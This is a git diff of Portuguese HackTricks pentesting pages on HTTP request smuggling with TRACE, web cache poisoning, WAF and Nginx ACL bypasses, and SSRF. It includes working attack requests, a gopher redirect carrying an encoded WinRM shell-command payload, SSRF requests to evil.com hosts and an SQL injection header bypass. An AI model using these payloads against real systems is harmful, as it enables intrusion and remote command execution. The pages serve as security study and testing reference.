Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**).
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.
@ -470,7 +466,7 @@ Posteriormente, qualquer solicitação para `/static/include.js` servirá o cont
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
>
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
@ -486,14 +482,97 @@ O atacante elabora uma solicitação contrabandeada que busca conteúdo sensíve
```
Se essa solicitação contrabandeada envenenar uma entrada de cache destinada a conteúdo estático (por exemplo, `/someimage.png`), os dados sensíveis da vítima de `/private/messages` podem ser armazenados em cache sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis armazenados em cache.
### Armando o Contrabando de Solicitação HTTP com a Desincronização de Resposta HTTP
### Abusando do TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Você encontrou alguma vulnerabilidade de Contrabando de Solicitação HTTP e não sabe como explorá-la. Experimente este outro método de exploração:
[**Neste post**](https://portswigger.net/research/trace-desync-attack) é sugerido que se o servidor tiver o método TRACE habilitado, poderia ser possível abusar dele com um HTTP Request Smuggling. Isso ocorre porque esse método refletirá qualquer cabeçalho enviado para o servidor como parte do corpo da resposta. Por exemplo:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Irá enviar uma resposta como:
```
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Um exemplo de como abusar desse comportamento seria **contrabandear primeiro uma solicitação HEAD**. Esta solicitação será respondida apenas com os **cabeçalhos** de uma solicitação GET (**`Content-Type`** entre eles). E contrabandear **imediatamente após o HEAD uma solicitação TRACE**, que estará **refletindo os dados enviados**.\
Como a resposta HEAD conterá um cabeçalho `Content-Length`, a **resposta da solicitação TRACE será tratada como o corpo da resposta HEAD, refletindo assim dados arbitrários** na resposta. \
Essa resposta será enviada para a próxima solicitação pela conexão, então isso poderia ser **usado em um arquivo JS em cache, por exemplo, para injetar código JS arbitrário**.
### Abusando do TRACE via Separação de Resposta HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Continuar seguindo [**este post**](https://portswigger.net/research/trace-desync-attack) é sugerido como outra maneira de abusar do método TRACE. Como comentado, contrabandear uma solicitação HEAD e uma solicitação TRACE é possível **controlar alguns dados refletidos** na resposta à solicitação HEAD. O comprimento do corpo da solicitação HEAD é basicamente indicado no cabeçalho Content-Length e é formado pela resposta à solicitação TRACE.
Portanto, a nova ideia seria que, conhecendo este Content-Length e os dados fornecidos na resposta TRACE, é possível fazer com que a resposta TRACE contenha uma resposta HTTP válida após o último byte do Content-Length, permitindo que um atacante controle completamente a solicitação para a próxima resposta (que poderia ser usada para realizar um envenenamento de cache).
Exemplo:
```
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Gerará essas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE faça parte do corpo do HEAD e, uma vez que o Content-Length do HEAD termina, uma resposta HTTP válida é contrabandeada):
```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### Armar HTTP Request Smuggling com Desincronização de Resposta HTTP
Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
### Outras Técnicas de HTTP Request Smuggling
* HTTP Request Smuggling no Navegador (Lado do Cliente)
{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}
* Request Smuggling em Downgrades HTTP/2
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}
## Scripts do Turbo Intruder
### CL.TE
@ -599,6 +678,7 @@ table.add(req)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
<details>
@ -606,10 +686,10 @@ table.add(req)
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

122
pentesting-web/proxy-waf-protections-bypass.md
View file

@ -1,31 +1,129 @@
# Bypass de Proteções de Proxy / WAF
# Bypassando Proteções de Proxy / WAF
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Verifique a seguinte página para ver como **burlar WAFs abusando das inconsistências nos analisadores HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
## Bypass de Regras ACL do Nginx com Manipulação de Nomes de Caminho <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Exemplo de regra do Nginx:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o nginx não remove), pode ser possível contornar essa defesa.
### **NodeJS - Express**
| Versão do Nginx | **Caracteres de Bypass do Node.js** |
| --------------- | ----------------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Versão do Nginx | **Caracteres de Bypass do Flask** |
| --------------- | --------------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
| --------------- | --------------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Configuração do Nginx FPM:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx está configurado para bloquear o acesso a `/admin.php`, mas é possível contornar isso acessando `/admin.php/index.php`.
### Como prevenir
```plaintext
location ~* ^/admin {
deny all;
}
```
## Bypassar Regras do Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Confusão de Caminho
[Neste post](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12) **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o caminho acessado (até o início dos parâmetros). Isso ocorreu porque ele realizava um decode de URL para obter o caminho.\
Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?` terminando o caminho da URL, mas na realidade o caminho que o servidor receberá será `/foo%3f';alert(1);foo=`.
As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
Algo semelhante ocorreu na versão 2 do Mod Security que permitia contornar uma proteção que impedia o usuário de acessar arquivos com extensões específicas relacionadas a arquivos de backup (como `.bak`) simplesmente enviando o ponto codificado na URL em `%2e`, por exemplo: `https://example.com/backup%2ebak`.
## Bypassar AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Cabeçalho Malformado
[Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas nos cabeçalhos HTTP enviando um cabeçalho "malformado" que não era corretamente analisado pela AWS, mas sim pelo servidor backend.
Por exemplo, enviando a seguinte solicitação com uma injeção de SQL no cabeçalho X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha fazia parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).
## Referências
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

127
pentesting-web/ssrf-server-side-request-forgery/README.md
View file

@ -10,7 +10,7 @@ Acesse hoje:
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
@ -50,7 +50,7 @@ Normalmente, você descobrirá que o SSRF está funcionando apenas em **certos d
### Bypass via redirecionamento aberto
Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá os redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\
Se o servidor estiver corretamente protegido, você poderá **burlar todas as restrições explorando um Redirecionamento Aberto dentro da página da web**. Como a página da web permitirá **SSRF para o mesmo domínio** e provavelmente seguirá redirecionamentos, você pode explorar o **Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno**.\
Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protocolos
@ -58,7 +58,7 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
* **file://**
* O esquema de URL `file://` é referenciado, apontando diretamente para `/etc/passwd`: `file:///etc/passwd`
* **dict://**
* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra uma URL construída direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* O esquema de URL DICT é descrito como sendo utilizado para acessar definições ou listas de palavras via o protocolo DICT. Um exemplo ilustra um URL construído direcionando uma palavra específica, banco de dados e número de entrada, bem como uma instância de um script PHP potencialmente sendo mal utilizado para se conectar a um servidor DICT usando credenciais fornecidas pelo atacante: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
* **TFTP://**
@ -108,7 +108,7 @@ QUIT
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP - Conexão de retorno para 1337**
**Gopher SMTP — Conexão de retorno para 1337**
{% code title="redirect.php" %}
```php
@ -145,7 +145,7 @@ ssl_preread on;
}
}
```
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade a Server-Side Request Forgery (SSRF), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
Nesta configuração, o valor do campo Server Name Indication (SNI) é diretamente utilizado como endereço do backend. Esta configuração expõe uma vulnerabilidade ao SSRF (Server-Side Request Forgery), que pode ser explorada simplesmente especificando o endereço IP desejado ou nome de domínio no campo SNI. Um exemplo de exploração para forçar uma conexão a um backend arbitrário, como `internal.host.com`, usando o comando `openssl`, é fornecido abaixo:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -163,13 +163,13 @@ Se a página da web estiver criando automaticamente um PDF com algumas informaç
Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.
## Funções PHP de SSRF
## Funções PHP SSRF
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %}
## SSRF Redirecionar para Gopher
## Redirecionamento SSRF para Gopher
Para algumas explorações, você pode precisar **enviar uma resposta de redirecionamento** (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:
```python
@ -181,7 +181,7 @@ class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
```markdown
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```plaintext
self.end_headers()
@ -206,14 +206,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas do mundo**.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Proxies mal configurados para SSRF
Truques [**deste post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
<details>
<summary>Código vulnerável do proxy Flask</summary>
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
</details>
O Flask permite usar **`@`** como caractere inicial, o que permite fazer com que o **nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Código vulnerável:
<figure><img src="../../.gitbook/assets/image (729).png" alt=""><figcaption></figcaption></figure>
Foi descoberto que é possível **iniciar o caminho** de uma solicitação com o caractere **`;`** o que permite usar então **`@`** e injetar um novo host para acessar. Solicitação de ataque:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### Servidor Web PHP Integrado <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>Código PHP vulnerável</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
